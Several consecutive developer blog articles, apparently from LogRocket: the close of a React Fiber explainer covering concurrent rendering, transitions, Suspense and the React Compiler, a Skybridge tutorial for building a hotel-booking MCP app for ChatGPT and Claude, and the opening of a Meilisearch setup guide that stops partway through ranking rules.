Once the render phase completes, React moves on to the commit phase, where it basically swaps the root pointers of the current tree and workInProgress tree, thereby effectively swapping the current tree with the draft tree it built up based on the click() update.

Not just that, React also reuses the old current tree after swapping the pointer from root to the workInProgress tree. The net effect of this optimized process is a smooth transition from the previous state of the app to the next state and the next state, and so on.

And what about the 16ms frame time? React effectively runs an internal timer for each unit of work being performed and constantly monitors this time limit while performing the work.

The moment the time runs out, React pauses the current unit of work, hands the control back to the main thread, and lets the browser render whatever is finished at that point.

Then, in the next frame, React picks up where it left off and continues building the tree. Then, when it has enough time, it commits the workInProgress tree and completes the render.

What key features were added to React Fiber since v16?

Fiber changed React from a synchronous tree traversal into a schedulable rendering system. Modern React builds on that foundation by allowing work to be prioritized, interrupted, streamed, moved between server and client environments, and optimized at build time.

Here are the key improvements and changes to fiber since React v16:

What is concurrent rendering?

The most significant update to React Fiber since its inception is concurrent rendering. It is a foundational enhancement to React’s rendering model that builds on the capabilities of React Fiber to provide interruptible rendering.

Concurrent rendering lets React prepare certain updates in the background and interrupt them when more urgent work arrives. In other words, React can begin rendering one update, interrupt it to handle a more urgent update, and then later restart or abandon the earlier render.

This is a stark contrast to the traditional synchronous rendering model, where React must complete each render in a single, uninterrupted transaction before responding to other work.

Although concurrency was part of the original vision for Fiber, React 18 and React 19 made its capabilities broadly available through APIs such as transitions, Suspense, useDeferredValue, and Activity, along with the new root API.

How does suspense work with selective hydration in React?

Suspense is a feature that is closely tied to concurrent mode and was initially introduced with React Fiber in v16, but its capabilities were greatly expanded with updates in React 17 and 18.

The feature has undergone significant improvements since its initial release. It was originally designed to manage lazy loading (code splitting) of components using React.lazy, but its functionality has expanded, especially with the introduction of concurrent rendering in v18.

Now, Suspense plays a key role in handling asynchronous operations like data fetching and offers more granular control over UI rendering during these operations. You can declaratively specify what React should show when a part of the tree is not yet ready to render.

This is done using a fallback option, which renders a component or string while the asynchronous task is in operation:

<Suspense fallback={<div>Loading data...</div>}>
  <SomeComponent />
</Suspense>

Another key improvement is streaming in server-side rendering (SSR) and selective hydration. Instead of waiting for the server to finish rendering the full page before sending its HTML to the browser, Suspense boundaries allow React to divide the page into independent sections. The server can send an initial HTML shell first and stream the remaining content as it becomes ready.

With selective hydration, Suspense boundaries divide the tree into smaller hydration units. React then hydrates these sections independently, allowing some controls to become interactive while other sections are still waiting for code or data.

Suspense continues to evolve in React 19, particularly in how it schedules sibling work. When a component suspends, React can commit the nearest fallback sooner and then schedule another render to pre-warm lazy resources in the remaining sibling tree. This allows the fallback to appear sooner without preventing other resources from beginning to load.

The Suspense API is nuanced. If you’d like to learn more about it, check out our comprehensive article on Suspense.

What are transitions?

Transitions are one of the main APIs for using concurrent rendering. They let you distinguish between urgent and non-urgent state updates.

Urgent updates include tasks like user inputs or animations where immediate feedback is expected. Non-urgent updates, like rendering a list of search results, are low priority, and slight delays are acceptable.

The transitions API comprises a useTransition hook which allows you to mark state updates as not urgent, as every state update not marked is considered urgent by default.

How do you use `useTransition`?

The useTransition hook handles transitions between UI states in a non-blocking manner. It returns an array with two values:

isPending — A boolean indicating if the transition is in progress
startTransition — A function to start the transition

For example, consider a page with tabs where one tab takes a long time to render:

import { useState, useTransition } from "react";
import About from "./About";
import Posts from "./Posts";

export default function TabContainer() {
  const [activeTab, setActiveTab] = useState("about");
  const [isPending, startTransition] = useTransition();

  function selectTab(nextTab) {
    startTransition(() => {
      setActiveTab(nextTab);
    });
  }
  return (
    <>
      <button onClick={() => selectTab("about")}> About </button>
      <button onClick={() => selectTab("posts")}> Posts </button>
      {isPending && <p>Loading tab...</p>}
      {activeTab === "about" ? <About /> : <Posts />}
    </>
  );
}

The state update inside startTransition is treated as non-urgent. If the user clicks another button while React is rendering the Posts tab, React can interrupt the first render and handle the new interaction.

Transitions do not delay the function passed to startTransition. React calls that function immediately. Only the state updates scheduled while it runs are marked as transitions.

This means that wrapping an expensive JavaScript calculation in startTransition does not move the calculation into the background:

startTransition(() => {
  // This calculation still runs immediately
  const filteredItems = items.filter(expensiveFilter);
  setFilteredItems(filteredItems);
});

The filter() call still blocks the main thread until it returns. startTransition only changes the priority of the React state update.

What are asynchronous transitions and actions in React 19?

In React 19, functions passed to startTransition are called an Action. An Action can perform asynchronous work, such as a request, while isPending represents the pending interaction.

function SettingsForm() {
  const [settings, setSettings] = useState(initialSettings);
  const [isPending, startTransition] = useTransition();
  function saveSettings(nextSettings) {
    startTransition(async () => {
      const savedSettings = await updateSettings(nextSettings);
      startTransition(() => {
        setSettings(savedSettings);
      });
    });
  }
  return (
    <button
      disabled={isPending}
      onClick={() => saveSettings({ theme: "dark" })}
    >
      {" "}
      {isPending ? "Saving..." : "Save settings"}{" "}
    </button>
  );
}

State updates that occur after an await currently need another startTransition call to remain transition updates. This is a known limitation caused by React losing the transition context across the asynchronous boundary.

Async transitions connect concurrent rendering with newer React features such as Actions, form Actions, useActionState, and useOptimistic. They allow React to coordinate pending UI, asynchronous work, and the final render as one interaction.

What is `useDeferredValue`?

The useDeferredValue hook lets one part of the UI update later than another part. It is useful when a value changes urgently, but a component that depends on that value is slow to render.

For example, an input should reflect each keystroke immediately, but a large list of search results can update at a lower priority:

import { Suspense, useDeferredValue, useState } from "react";
export default function SearchPage() {
  const [query, setQuery] = useState("");
  const deferredQuery = useDeferredValue(query);
  const isStale = query !== deferredQuery;
  return (
    <>
      {" "}
      <input
        value={query}
        onChange={(event) => setQuery(event.target.value)}
        placeholder="Search"
      />{" "}
      <div style={{ opacity: isStale ? 0.5 : 1 }}>
        {" "}
        <Suspense fallback={<p>Loading results...</p>}>
          {" "}
          <SearchResults query={deferredQuery} />{" "}
        </Suspense>{" "}
      </div>{" "}
    </>
  );
}

In this example, when query changes, React first renders the input with the latest value while deferredQuery keeps its previous value.

React then attempts another render in the background using the latest value. This background render is interruptible. If the user types again before it finishes, React can abandon it and restart with the newest value.

Unlike traditional debouncing, useDeferredValue does not wait for a fixed amount of time. Instead, React attempts the deferred render as soon as it can.

The main difference between useTransition and useDeferredValue is where they are applied.

Use a transition when you control the state update and can wrap its setter in startTransition.
Use useDeferredValue when you receive a value through props, a Hook, or another source and want a slower part of the tree to lag behind it.

What is the `<Activity>` component in React 19.2?

React 19.2 introduced the <Activity> component as another feature built on concurrent rendering. Activity lets React hide and restore part of the UI without discarding its internal state.

import { Activity, useState } from "react";
export default function Tabs() {
  const [activeTab, setActiveTab] = useState("home");
  return (
    <>
      {" "}
      <button onClick={() => setActiveTab("home")}> Home </button>{" "}
      <button onClick={() => setActiveTab("settings")}> Settings </button>{" "}
      <Activity mode={activeTab === "home" ? "visible" : "hidden"}>
        {" "}
        <Home />{" "}
      </Activity>{" "}
      <Activity mode={activeTab === "settings" ? "visible" : "hidden"}>
        {" "}
        <Settings />{" "}
      </Activity>{" "}
    </>
  );
}

When an Activity boundary is visible, React renders it normally and mounts its Effects. When it becomes hidden, React hides its DOM content, cleans up its Effects, and preserves its component and DOM state. Updates to hidden content can still be rendered, but they are scheduled at a lower priority than visible work. When the Activity becomes visible again, React restores the preserved state and recreates its Effects.

Activity clearly demonstrates how Fiber can preserve completed work, lower its priority while it is hidden, and reuse it when it becomes relevant again.

Together, transitions, Suspense, selective hydration, streaming server rendering, Activity, and deferred values expose different aspects of React’s concurrent rendering model.

How does `useSyncExternalStore` protect external state in concurrent React?

Concurrent rendering introduces an important challenge for state stored outside React. Because React can pause while rendering a component tree, an external store may change during that pause. If different components read different versions of the store, React could produce an inconsistent user interface.

React 18 introduced useSyncExternalStore to give React a reliable way to subscribe to external stores and read a consistent snapshot of their state:

import { useSyncExternalStore } from "react";
function OnlineStatus() {
  const isOnline = useSyncExternalStore(
    subscribe,
    getSnapshot,
    getServerSnapshot,
  );
  return <p>{isOnline ? "Online" : "Offline"}</p>;
}

Here, the first argument subscribes to changes in the external source. The second returns its current value, and the optional third argument provides the value used during server rendering.

useSyncExternalStore is especially useful for state-management libraries and browser APIs whose values can change outside React’s update system.

What is automatic batching?

Automatic batching is a key feature that is the direct result of the underlying changes in React Fiber. It helps to reduce the number of re-renders that happen when a state changes by allowing React to group multiple state updates into a single re-render.

For example, when you call multiple setState functions in a single render cycle, React automatically batches them together into a single update. This can be observed in the code example below:

function MyComponent() {
  const [count, setCount] = useState(0);

  const handleClick = () => {
    // Multiple state updates within a single event handler
    setCount(count + 1);
    setCount(count + 2); 
  };

  console.log("Rendering")

  return (
    <div>
      <p>Count: {count}</p>
      <button onClick={handleClick}>Increment</button>
    </div>
  );
}

The handleClick function calls setCount twice, once to increment the count by 1 and then again to increment it by 2.

React automatically batches these two state updates into a single update. This means that only one re-render will occur, and “rendering” will only log once in the terminal.

Before the release of React v18, batched updates were performed inside the React event handler. This meant that outside of React’s lifecycle (such as inside a setTimeout or a promise), updates would not be batched automatically. With React Fiber’s improved update in v18, updates are batched across all contexts, including asynchronous code, setTimeout, promises, and native event handlers.

How does the React Compiler optimize code at build time?

The React Compiler complements Fiber by adding build-time memoization that reduces the amount of work Fiber needs to perform at runtime.

Earlier, we saw that a fiber node stores both pendingProps and memoizedProps during reconciliation to decide whether work needs to be done for a fiber.

By comparing pendingProps with memoizedProps, React can determine if the inputs to a component have changed. If they are the same and there are no other updates affecting the fiber, React can skip re-rendering that part of the tree and reuse the previous result. This process is known as memoization.

Memoization happens at runtime after React has already received an update and entered the reconciliation process. Fiber then decides whether part of the tree can be reused.

Hooks such as React.memo, useMemo, and useCallback can help React memoize components, values, or functions where appropriate.

import { memo, useCallback, useMemo } from "react";
const ProductList = memo(function ProductList({ products, onSelect }) {
  const availableProducts = useMemo(() => {
    return products.filter((product) => product.inStock);
  }, [products]);
  const handleSelect = useCallback(
    (productId) => {
      onSelect(productId);
    },
    [onSelect],
  );
  return (
    <ul>
      {" "}
      {availableProducts.map((product) => (
        <Product key={product.id} product={product} onSelect={handleSelect} />
      ))}{" "}
    </ul>
  );
});

Each hook handles a different part of memoization:

React.memo: lets React skip rendering ProductList when its props have not changed
useMemo: caches the filtered products
useCallback: preserves the function reference between renders

Although these APIs help reduce the amount of work that reaches Fiber, developers still have to decide what to memoize, where to memoize it, and keep dependency arrays up to date.

The React Compiler was introduced to reduce this manual work by adding another layer of optimization. Instead of waiting until runtime to identify unnecessary work, the compiler analyzes components and Hooks during the build process and automatically inserts memoization where it is safe to do so.

This means we can rewrite the same component without the manual memoization hooks:

function ProductList({ products, onSelect }) {
  const availableProducts = products.filter((product) => product.inStock);
  function handleSelect(productId) {
    onSelect(productId);
  }
  return (
    <ul>
      {" "}
      {availableProducts.map((product) => (
        <Product key={product.id} product={product} onSelect={handleSelect} />
      ))}{" "}
    </ul>
  );
}

During the build process, the compiler analyzes how values depend on props, state, and other values in the component. It can then generate cache checks that reuse availableProducts, handleSelect, JSX elements, or child component output as long as their relevant inputs remain unchanged.

This does not mean the compiler stores the final DOM or bypasses reconciliation. The compiled component still runs within React’s normal rendering system. Fiber still creates and reconciles the work-in-progress tree and decides what should be committed.

Because these two systems serve different purposes, it is easy to mix up their roles. The table below breaks down their key responsibilities and answers common questions about how they work together.

React Fiber vs. React Compiler: Key differences & FAQs

Question	React Fiber	React Compiler
When does each system operate?	Operates at runtime while React renders and reconciles the component tree	Operates primarily at build time, analyzing and transforming the application code before it runs
What information does each system rely on?	Uses runtime data such as Fiber props, state, context, update priorities, lanes, and previously completed work	Uses static analysis of components, Hooks, values, functions, JSX, and their dependencies
How much developer involvement is required for optimization?	React handles reconciliation automatically, but developers often need to manually add `React.memo`, `useMemo`, and `useCallback` to optimize performance	The compiler handles optimization by adding much of this memoization automatically
What is the relationship between each system and concurrent rendering?	Fiber acts as the scheduler that can pause, restart, prioritize, or abandon rendering work	The compiler reduces the overall amount of work that the concurrent renderer needs to execute
How do they affect the DOM?	Fiber eventually commits the necessary DOM mutations through the renderer	The compiler does not update the DOM directly
Does the React Compiler replace React Fiber?	No. Fiber remains React’s core runtime reconciler	Compiled components still render through Fiber at runtime

Conclusion

React Fiber transformed React from a rigid tree-traversal tool into an intelligent, schedulable rendering engine. As React continues to evolve through v19 and beyond, Fiber remains the key mechanism powering it all. I hope you enjoyed reading this post.

#2026
#react

Skybridge: Build ChatGPT apps and MCP connectors

Emmanuel John — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

Chatbots have moved beyond text-based Q&A to become execution environments. Today, developers use them as runtime hosts where tools execute, UI widgets render inline, and user interactions feed back to the model in real time.

However, the developer experience is fragmented. OpenAI uses a proprietary Apps SDK for ChatGPT, while Anthropic Claude follows the Model Context Protocol (MCP). Building and maintaining separate integrations for each platform increases maintenance costs.

Skybridge addresses these challenges. It is an open-source React framework that abstracts host-specific differences. You write one application and deploy it to ChatGPT, Claude, or any MCP-compatible client.

This article demonstrates how to build a unified AI app from scratch, moving from basic tool calls to an interactive, state-synchronized interface.

Why use Skybridge?

If you are wondering about Skybridge, check out the troubles it takes away from developers.

What problem does Skybridge solve?

Each major AI platform comes with its own unique runtime behaviors, protocol specifications, and widget embedding rules. Skybridge acts as a write-once, run-anywhere abstraction layer that automatically manages protocol bridging and host-specific nuances, allowing a single React app to deploy effortlessly across ChatGPT, Claude, and VS Code.

How does Skybridge speed up MCP app development?

Testing an MCP app usually involves a tedious loop: deploying your app, opening a manual tunnel, connecting to a live chatbot, and constantly triggering model responses to check your changes. Skybridge eliminates this friction with a dedicated developer dashboard, which we’ll explore during our testing phase.

What do you need before using Skybridge?

Ensure you have these tools and accounts ready:

Node.js 24 or later
Package manager: npm, pnpm, yarn, or bun
ChatGPT account with developer access
Claude account with connector access

How do you create a Skybridge project?

We will start by scaffolding a new project.

Open your terminal and run the following command:

npm create skybridge@latest hotel-app
cd hotel-app
npm install

This command creates an Express-based MCP server and a Vite-powered React application.

The above command sets up a boilerplate with an Express-based MCP server and a Vite-powered React application.

Skybridge offers direct integration with the Vite ecosystem.

You can check out vite.config.ts file for further configuration if you need to.

What is the Skybridge developer dashboard?

Skybridge provides a local developer dashboard at http://localhost:3000

This comes with the following tools:

Alpic Playground: Local sandbox with hot module replacement (HMR). Iterate on React widgets without connecting to a live AI model
Integrated Secure Tunnel: Exposes your local server through a temporary public URL with one click. Paste this URL into ChatGPT or Claude connector settings
Beacon Audit Tool: Scans app metadata and security policies. It catches common rejection triggers before store submission

How do you build a ChatGPT app with Skybridge?

For this project, we will build a hotel booking app that works inside AI agents.

We will start by setting up the MCP server and registering a tool to search for hotels.

How do you create MCP tools in Skybridge?

Create a server.ts file and register search-hotels tool like so:

import { McpServer } from "skybridge/server";
import { z } from "zod";

const server = new McpServer({
  name: "hotel-booking-app",
  version: "1.0.0"
}, {});

server.registerTool({
  name: "search-hotels",
  description: "Searches for available hotels in a city.",
  inputSchema: {
    location: z.string().describe("The city to search in")
  },
  view: {
    component: "hotel-results",
    description: "Displays a list of available hotels."
  }
}, async ({ location }) => {
  const hotels = [
    { id: "h1", name: "Grand Plaza", price: 200, rating: 4.5, location },
    { id: "h2", name: "Seaside Resort", price: 150, rating: 4.2, location },
  ];

  return {
    structuredContent: { hotels }, // Data passed to React
    content: [{ type: "text", text: `Found ${hotels.length} hotels in ${location}.` }],
    isError: false,
  };
});

export type AppType = typeof server;

We have just defined a tool contract. The view property tells the Skybridge runtime to render the hotel-results component when the model calls search-hotels

You can further refine the tool’s behavior with the annotations property:

server.registerTool({
  name: "search-hotels",
  annotations: {
    title: "Available Hotels",
  },
  // rest of config
});

Annotations help the AI host display readable titles in chat logs. Skybridge Beacon Audit Tool also checks this metadata as part of quality validation. For this demo, hotel data is hardcoded.

Next, build the React component that renders search results for the discovery view.

How do you enable end-to-end type safety in Skybridge?

Before we set up the discovery view, create a helpers.ts file.

This file will provide the view with the exact tool input and output types from the server contract.

This is the content of the file:

import { generateHelpers } from "skybridge/web";
import type { AppType } from "./server.js";

export const { useToolInfo, useCallTool } = generateHelpers<AppType>();

generateHelpers uses your McpServer TypeScript type to provide autocomplete and validation for tool names, inputs, and outputs in the views.

How do you build a React view in Skybridge?

The discovery view is the first interface the user sees after the model calls search-hotels tool.

Create a hotel.tsx file with the following code:

import { useState } from "react";
import { useLayout } from "skybridge/web";
import { useToolInfo } from "../helpers.js";
import Booking from "./booking.js";
import { Star, MapPin, Hotel, ArrowRight, Sparkles, Compass } from "lucide-react";

export default function HotelResults() {
  const { theme } = useLayout();
  const { output } = useToolInfo<"search-hotels">();
  const hotels = output?.hotels || [];
  const [selectedHotel, setSelectedHotel] = useState<{ id: string; name: string } | null>(null);

  if (selectedHotel) {
    return (
      <Booking
        initialHotelId={selectedHotel.id}
        initialHotelName={selectedHotel.name}
        onBack={() => setSelectedHotel(null)}
      />
    );
  }

  return (
    <div className={`app-shell font-sans ${theme === "dark" ? "dark" : ""}`}>
      <div className="mx-auto w-full max-w-5xl px-4 py-6 sm:px-6 sm:py-8">
        <section className="glass-panel overflow-hidden p-5 sm:p-7">
          <div className="flex flex-col gap-5 sm:flex-row sm:items-end sm:justify-between">
            <div className="space-y-2">
              <p className="pill bg-sky-100 text-sky-700 dark:bg-sky-950/60 dark:text-sky-300">
                <Sparkles className="h-3.5 w-3.5" /> Curated Results
              </p>
              <h2 className="font-mozilla text-3xl leading-tight text-deep dark:text-sky-100 sm:text-4xl">
                Stays near your destination
              </h2>
              <p className="max-w-2xl text-sm text-zinc-600 dark:text-zinc-300">
                We found {hotels.length} options with instant booking support and synchronized steps.
              </p>
            </div>
            <div className="step-chip w-fit">
              <Compass className="mr-1.5 h-3.5 w-3.5" />
              Swipe or browse cards
            </div>
          </div>
        </section>
      </div>

      <section className="mx-auto mt-5 grid w-full max-w-5xl grid-cols-1 gap-4 px-4 pb-8 sm:grid-cols-2 sm:px-6 lg:grid-cols-3">
        {hotels.map((hotel) => (
          <article key={hotel.id} className="hotel-card">
            <div className="flex items-start justify-between gap-3">
              <div className="space-y-1">
                <h3 className="text-lg font-bold leading-tight">{hotel.name}</h3>
                <div className="inline-flex items-center gap-1.5 text-[11px] font-semibold uppercase tracking-[0.08em] text-zinc-500">
                  <MapPin className="h-3.5 w-3.5" />
                  {hotel.location}
                </div>
              </div>
              <div className="pill border border-amber-200 bg-amber-50 text-amber-700 dark:border-amber-900 dark:bg-amber-950/40 dark:text-amber-300">
                <Star className="mr-1 h-3.5 w-3.5 fill-current" />
                {hotel.rating}
              </div>
            </div>

            <div className="mt-auto space-y-3">
              <div className="flex items-end justify-between">
                <div>
                  <p className="text-[11px] uppercase tracking-[0.08em] text-zinc-500">From</p>
                  <p className="text-3xl font-black text-deep dark:text-sky-100">${hotel.price}</p>
                </div>
                <p className="text-xs font-medium text-zinc-500">per night</p>
              </div>

              <button
                type="button"
                className="primary-action w-full"
                onClick={() => setSelectedHotel({ id: hotel.id, name: hotel.name })}
              >
                <Hotel className="h-4 w-4" />
                Start Booking
                <ArrowRight className="h-4 w-4" />
              </button>
            </div>
          </article>
        ))}
      </section>
    </div>
  );
}

This view reads output.hotels with useToolInfo, renders each hotel card, and transitions to the booking experience when the user clicks Start Booking.

At this stage, the app can search and display hotels. Next, we will add tools to collect booking details and finalize reservations.

How do you add more tools to a Skybridge app?

To make the app interactive, we will add a Book Now and confirm booking tools.

How do you register a book-hotel tool?

Update the server.ts file to register the book-hotel tool like so:

server.registerTool({
  name: "book-hotel",
  description: "Initiates the booking process for a selected hotel.",
  inputSchema: {
    hotelId: z.string().describe("The ID of the hotel to book."),
    hotelName: z.string().describe("The name of the hotel."),
  },
  view: {
    component: "booking",
    description: "Multi-step booking form."
  }
}, async ({ hotelId, hotelName }) => {
  return {
    structuredContent: { hotelId, hotelName },
    content: [{ type: "text", text: `Starting booking for ${hotelName}...` }],
    isError: false,
  };
});

The book-hotel tool defines the required schema and links to the booking view component.

It runs when the user starts the booking flow.

How do you register a confirm-booking tool?

To finalize a booking after form completion, we will add a confirm-booking tool for this.

Go ahead and add this to the server.ts file:

server.registerTool({
  name: "confirm-booking",
  description: "Finalize the hotel booking",
  inputSchema: {
    hotelId: z.string(),
    guestName: z.string(),
  },
}, async (details) => {
  const confirmationNumber = `BK-${Math.random().toString(36).substring(2, 9).toUpperCase()}`;
  return {
    structuredContent: { ...details, confirmationNumber },
    content: [{ type: "text", text: `Booking confirmed! #:${confirmationNumber}` }],
    isError: false,
  };
});

By omitting the view property, you create an execution tool. The AI can call it in the background after it gathers required arguments from view state or chat context.

How do you create the booking view in Skybridge?

Create booking.tsx file and add the following code to it:

import { useState } from "react";
import { useLayout } from "skybridge/web";
import { useToolInfo, useCallTool } from "../helpers.js";
import { Calendar, Users, BedDouble, Ticket, ArrowRight, Waves } from "lucide-react";

export default function Booking() {
  const { theme } = useLayout();
  const { input, output } = useToolInfo<"book-hotel">();
  const hotelName = output?.hotelName || input?.hotelName;

  const [state, setState] = useState({
    step: 0,
    checkIn: "",
    checkOut: "",
    llmStatus: "Dates pending",
  });

  const { callTool, isPending } = useCallTool<"confirm-booking">("confirm-booking");

  if (!hotelName) return null;

  const nextStep = () => setState(s => ({ ...s, step: s.step + 1 }));

  const progressSteps = ["Dates", "Guests", "Room", "Review"];

  return (
    <div className={`app-shell ${theme === "dark" ? "dark" : ""}`}>
      <div className="mx-auto w-full max-w-2xl px-4 py-6 sm:px-6 sm:py-8">
        <div className="glass-panel space-y-6 p-5 sm:p-7">
          <header className="space-y-3">
            <p className="pill bg-teal-100 text-teal-700 dark:bg-teal-900/50 dark:text-teal-200">
              <Waves className="h-3.5 w-3.5" /> Booking Flow
            </p>
            <h2 className="font-mozilla text-3xl leading-tight text-deep dark:text-sky-100">
              Complete your stay at {hotelName}
            </h2>
            <div className="flex flex-wrap gap-2">
              {progressSteps.map((label, idx) => (
                <span key={label} className={`step-chip ${idx === state.step ? "step-chip-active" : ""}`}>
                  {idx + 1}. {label}
                </span>
              ))}
            </div>
          </header>

          {state.step === 0 && (
            <section className="space-y-4 rounded-2xl border border-sky-100 bg-white/70 p-4 dark:border-slate-700 dark:bg-slate-900/55">
              <div className="flex items-center gap-2 text-deep dark:text-sky-200">
                <Calendar className="w-5 h-5" />
                <span className="font-semibold">Select Dates</span>
              </div>
              {/* form fields */}
            </section>
          )}

          {state.step === 1 && (
            <section className="space-y-4 rounded-2xl border border-sky-100 bg-white/70 p-4 dark:border-slate-700 dark:bg-slate-900/55">
              <div className="flex items-center gap-2 text-deep dark:text-sky-200">
                <Users className="w-5 h-5" />
                <span className="font-semibold">Guest Details</span>
              </div>
            </section>
          )}

          {state.step === 2 && (
            <section className="space-y-4 rounded-2xl border border-sky-100 bg-white/70 p-4 dark:border-slate-700 dark:bg-slate-900/55">
              <div className="flex items-center gap-2 text-deep dark:text-sky-200">
                <BedDouble className="w-5 h-5" />
                <span className="font-semibold">Select Room Type</span>
              </div>
            </section>
          )}

          {state.step === 3 && (
            <section className="space-y-4 rounded-2xl border border-sky-100 bg-white/70 p-4 dark:border-slate-700 dark:bg-slate-900/55">
              <div className="flex items-center gap-2 text-deep dark:text-sky-200">
                <Ticket className="w-5 h-5" />
                <span className="font-semibold">Review and Confirm</span>
              </div>
              <button
                className="primary-action"
                onClick={() => callTool({
                  hotelId: output?.hotelId || input?.hotelId || "",
                  hotelName,
                  checkIn: state.checkIn,
                  checkOut: state.checkOut,
                  adults: 2,
                  children: 0,
                  guestNames: ["Primary Guest"],
                  roomType: "Standard",
                })}
                disabled={isPending}
              >
                Confirm Booking <ArrowRight className="h-4 w-4" />
              </button>
            </section>
          )}
        </div>
      </div>

      <div
        className="hidden"
        data-llm={`Booking status: ${state.llmStatus}. User is at step ${state.step + 1} for ${hotelName}. Current data: ${JSON.stringify(state)}`}
      />
    </div>
  );
}

The hidden data-llm block keeps the model aware of current form progress and entered values, which helps it decide when to call confirm-booking

With both views and tools wired together, let’s go ahead and test it.

How do you test a Skybridge app?

I will first go ahead and test it out in the developer dashboard:

This is the result of my test in Claude Desktop:

To test it in Claude, do the following:

Start the development server
Open the development dashboard
Start the tunnel

Thereafter, copy the MCP URL and add it to the connectors in Claude Desktop

The final implementation is available in the hotel booking GitHub repository.

What are Skybridge’s limitations?

Skybridge simplifies MCP development, but a few constraints still matter:

React-Focused: Currently, the frontend view layer requires React
Node.js Environment: The local server component requires a Node.js runtime
Provider Support: While compatible with the MCP standard, some advanced host-specific UI capabilities may still be under development

Conclusion

Developing for the agentic web should not require duplicate integrations or deep protocol expertise. Skybridge gives you one path for building interactive, state-synchronized apps that work across major chatbot platforms. By centering development on shared tools and views, you can ship richer AI experiences with lower maintenance costs.

#mcp

Getting started with Meilisearch: A complete guide

Michiel Mulders — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

Editor’s note: This article was updated in July 2026 to reflect the latest Meilisearch features and APIs, including hybrid and semantic search, conversational search and RAG, AI-powered retrieval, revised setup and authentication workflows, updated JavaScript SDK usage, and current best practices.

Meilisearch is a superfast search engine that supports keyword, semantic, and hybrid search through a single API. In this tutorial, you’ll learn how to set up Meilisearch, index and search documents, customize ranking rules, and explore its AI-powered retrieval capabilities.

Meilisearch began as a fast, typo-tolerant, open-source search engine you ran from a single binary. It still is. But it has grown into a full retrieval engine: keyword, semantic, and hybrid search from one API, on the same Rust core.

That evolution matters now that search has become a core part of AI infrastructure, powering retrieval-augmented generation (RAG), copilots, and other AI applications. Rather than combining a traditional search engine, a vector database, and a separate RAG framework, Meilisearch brings these capabilities together through a single API. The feel hasn’t changed, though: one Cloud project (or a single binary), one API, and results in milliseconds.

In this tutorial, we’ll cover everything from setting up Meilisearch and indexing documents to customizing ranking rules and exploring newer capabilities like hybrid search, conversational search, and AI-powered retrieval.

What’s changed in Meilisearch?

Past	Present
Primarily a fast, typo-tolerant full-text search engine	Supports keyword, semantic, and hybrid search
Focused on traditional keyword search	Built-in embeddings and semantic retrieval
Search API only	Conversational search and RAG through the `/chats` endpoint
Basic search relevance tuning	Expanded ranking rules and customizable relevance pipeline
Separate tooling often needed for recommendations and AI retrieval	Built-in recommendations (`/similar`) and AI retrieval capabilities
Single binary or self-hosted deployment	Self-hosted or Meilisearch Cloud with the same API

How do you run Meilisearch?

The quickest way to get started is with Meilisearch Cloud, the managed version of Meilisearch. It provides a 14-day free trial, a web dashboard, and a search preview, so you can start building without managing any infrastructure. Create a project at cloud.meilisearch.com.

Once your project is ready, copy the project host URL and API key from the overview page. Authentication now uses a standard Authorization: Bearer header (the old X-Meili-API-Key header is no longer used). You can verify that your project is reachable by listing its indexes:

curl 'MEILISEARCH_URL/indexes' \
  -H 'Authorization: Bearer MEILISEARCH_API_KEY'

# => { "results": [], "total": 0, "offset": 0, "limit": 20 }

If the request succeeds, you’re ready to start indexing documents.

Prefer to run Meilisearch yourself? Since it’s fully open source, you can self-host it with a single command, and the API remains identical from this point onward.

# Install and launch (a master key is mandatory in production)
curl -L https://install.meilisearch.com | sh
./meilisearch --master-key="aSampleMasterKey"

By default, a self-hosted instance runs on localhost:7700. You can also install Meilisearch using Docker, Homebrew, or APT; see the installation guide for additional options. Your master key serves the same purpose as the Cloud API key used earlier.

How do you set up a Meilisearch project?

Once your Meilisearch instance is running, install the JavaScript client and initialize it with your project URL and API key:

npm install meilisearch

import { Meilisearch } from 'meilisearch'

const client = new Meilisearch({
  host: 'MEILISEARCH_URL',
  apiKey: 'MEILISEARCH_API_KEY'
})

If you’re updating code from an older Meilisearch project, note that the JavaScript client has changed slightly. The client is now a named export, and the class is Meilisearch (MeiliSearch still works as an alias). However, the older CommonJS syntax:

const MeiliSearch = require('meilisearch')

is no longer supported.

How do you create an index and add documents in Meilisearch?

In Meilisearch, an index is a collection of documents. Each index has a primary key, which uniquely identifies every document. If your data already contains an id field, Meilisearch detects and uses it automatically.

We’ll use a sample movies dataset, where each document is represented as plain JSON:

{
  "id": 287947,
  "title": "Shazam!",
  "overview": "A boy is given the ability to become an adult superhero...",
  "genres": ["Action", "Comedy", "Fantasy"],
  "release_date": "2019-03-23"
}

You can add the documents to an index like this:

import movies from './movies.json'

const task = await client.index('movies').addDocuments(movies)
console.log(task) // { taskUid: 0, status: 'enqueued', ... }

Indexing is asynchronous, so instead of returning a completed result, Meilisearch returns a task (called an updateId in older versions). You can monitor its progress using the returned taskUid:

await client.tasks.getTask(0)

// status moves enqueued -> processing -> succeeded

Calling client.index('movies') automatically creates the index the first time you write to it, so you rarely need to call createIndex() yourself. If you’re updating older code, note that listIndexes() has been renamed to getIndexes().

How do you search documents in Meilisearch?

Once your documents are indexed, you can search them using the search() method:

const results = await client.index('movies').search('botman')

/*
{
  hits: [
    {
      id: 29751,
      title: 'Batman Unmasked: ...'
    },
    ...
  ],
  query: 'botman',
  processingTimeMs: 12,
  limit: 20,
  offset: 0,
  estimatedTotalHits: 66
}
*/

Even though the query contains a typo, botman still returns results for Batman because typo tolerance is enabled by default. In this example, the search also completes in just 12 ms without any additional tuning.

The response includes several useful fields you’ll use frequently:

hits: The matching documents
estimatedTotalHits: An approximate count of matching documents, replacing the older nbHits field
processingTimeMs: The time taken to process the search request
limit and offset: Values used for pagination

How do you update documents in Meilisearch?

Updating documents works much like adding them. If you send a document with an existing primary key, Meilisearch updates only the fields you provide, leaving the remaining fields unchanged.

await client.index('movies').updateDocuments([
  {
    id: 287947,
    overview: 'Corrected synopsis text.'
  }
])

Like indexing, updating documents is an asynchronous operation, so the request returns a task that you can track using its taskUid.

How do Meilisearch ranking rules work?

Ranking rules determine the order in which Meilisearch returns search results. You can reorder the built-in rules, remove them, or define custom ranking rules for each index to better match your application’s search experience.

The current default ranking rules are:

[
  "words",
  "typo",
  "proximity",
  "attributeRank",
  "sort",
  "wordPosition",
  "exactness"
]

If you’re updating an older project, note that the defaults have changed since 2021. The sort rule was added, attribute was split into attributeRank and wordPosition, and the overall order was updated.

You can reorder the rules like any other Meilisearch setting:

